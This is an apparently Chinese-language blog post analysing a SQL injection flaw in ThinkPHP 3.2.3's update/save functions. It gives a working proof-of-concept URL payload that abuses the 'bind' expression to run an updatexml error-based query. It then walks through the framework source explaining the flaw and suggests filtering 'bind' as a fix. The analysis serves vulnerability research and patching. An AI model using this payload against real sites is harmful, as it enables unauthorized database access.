Thinkphp 3.2.3 update注入

漏洞代码:

    public function index(){
        $condition['username']=I('username');
        $data['password']=I('password');

        $res=M('users')->where($condition)->save($data);
        dump($res);
    }

 

复现:

payload:

http://localhost/tp/tp3.2.3/?username[0]=bind&username[1]=0%20and%20(updatexml(1,concat(0x3a,(user())),1))%23&password=123

 

 

分析:

1、sava函数

 1     public function save($data='',$options=array()) {
 2         if(empty($data)) {
 3             // 没有传递数据,获取当前数据对象的值
 4             if(!empty($this->data)) {
 5                 $data           =   $this->data;
 6                 // 重置数据
 7                 $this->data     =   array();
 8             }else{
 9                 $this->error    =   L('_DATA_TYPE_INVALID_');
10                 return false;
11             }
12         }
13         // 数据处理
14         $data       =   $this->_facade($data);
15         if(empty($data)){
16             // 没有数据则不执行
17             $this->error    =   L('_DATA_TYPE_INVALID_');
18             return false;
19         }
20         // 分析表达式
21         $options    =   $this->_parseOptions($options);
22         $pk         =   $this->getPk();
23         if(!isset($options['where']) ) {
24             // 如果存在主键数据 则自动作为更新条件
25             if (is_string($pk) && isset($data[$pk])) {
26                 $where[$pk]     =   $data[$pk];
27                 unset($data[$pk]);
28             } elseif (is_array($pk)) {
29                 // 增加复合主键支持
30                 foreach ($pk as $field) {
31                     if(isset($data[$field])) {
32                         $where[$field]      =   $data[$field];
33                     } else {
34                            // 如果缺少复合主键数据则不执行
35                         $this->error        =   L('_OPERATION_WRONG_');
36                         return false;
37                     }
38                     unset($data[$field]);
39                 }
40             }
41             if(!isset($where)){
42                 // 如果没有任何更新条件则不执行
43                 $this->error        =   L('_OPERATION_WRONG_');
44                 return false;
45             }else{
46                 $options['where']   =   $where;
47             }
48         }
49 
50         if(is_array($options['where']) && isset($options['where'][$pk])){
51             $pkValue    =   $options['where'][$pk];
52         }
53         if(false === $this->_before_update($data,$options)) {
54             return false;
55         }
56         $result     =   $this->db->update($data,$options);
57         if(false !== $result && is_numeric($result)) {
58             if(isset($pkValue)) $data[$pk]   =  $pkValue;
59             $this->_after_update($data,$options);
60         }
61         return $result;
62     }

 

2、update函数分析

 1     public function update($data,$options) {
 2         $this->model  =   $options['model'];
 3         $this->parseBind(!empty($options['bind'])?$options['bind']:array());
 4         $table  =   $this->parseTable($options['table']);
 5         $sql   = 'UPDATE ' . $table . $this->parseSet($data);
 6         if(strpos($table,',')){// 多表更新支持JOIN操作
 7             $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
 8         }
 9         $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
10         if(!strpos($table,',')){
11             //  单表更新支持order和lmit
12             $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
13                 .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
14         }
15         $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
16         return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
17     }

第5行代码对$data中的password加上了=:符号以及$name也就是0,使变量sql变为

通过bindParam生成$this->bind变量为数组array(':0'=>'123')

 

 

然后通过第9行进入parseWhere函数

再通过parseWhereItem函数将导入的val变量也就是username中的索引0进行匹配,然后拼接

 得到$whereStr为

 

 得到sql语句为

 

3、execute函数分析

 1     public function execute($str,$fetchSql=false) {
 2         $this->initConnect(true);
 3         if ( !$this->_linkID ) return false;
 4         $this->queryStr = $str;
 5         if(!empty($this->bind)){
 6             $that   =   $this;
 7             $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
 8         }
 9         if($fetchSql){
10             return $this->queryStr;
11         }
12         //释放前次的查询结果
13         if ( !empty($this->PDOStatement) ) $this->free();
14         $this->executeTimes++;
15         N('db_write',1); // 兼容代码
16         // 记录开始执行时间
17         $this->debug(true);
18         $this->PDOStatement =   $this->_linkID->prepare($str);
19         if(false === $this->PDOStatement) {
20             $this->error();
21             return false;
22         }
23         foreach ($this->bind as $key => $val) {
24             if(is_array($val)){
25                 $this->PDOStatement->bindValue($key, $val[0], $val[1]);
26             }else{
27                 $this->PDOStatement->bindValue($key, $val);
28             }
29         }
30         $this->bind =   array();
31         try{
32             $result =   $this->PDOStatement->execute();
33             // 调试结束
34             $this->debug(false);
35             if ( false === $result) {
36                 $this->error();
37                 return false;
38             } else {
39                 $this->numRows = $this->PDOStatement->rowCount();
40                 if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) {
41                     $this->lastInsID = $this->_linkID->lastInsertId();
42                 }
43                 return $this->numRows;
44             }
45         }catch (\PDOException $e) {
46             $this->error();
47             return false;
48         }
49     }

在第7行中正好将sql语句中的:0转换为123

为啥username[1]中开头的数字需要为0才能实现sql注入,因为在parseSet中$name变量的值为0并且$name会拼接在sql语句中形成一个=:0,虽然后面的:0是我们所控制的,因此但是需要将前面这个:0替换才能让sql语句运行,形成sql注入

 

 

防护:

 

 过滤bind字符。

 

posted @ 2021-07-21 22:59  1jzz  阅读(273)  评论(0编辑  收藏  举报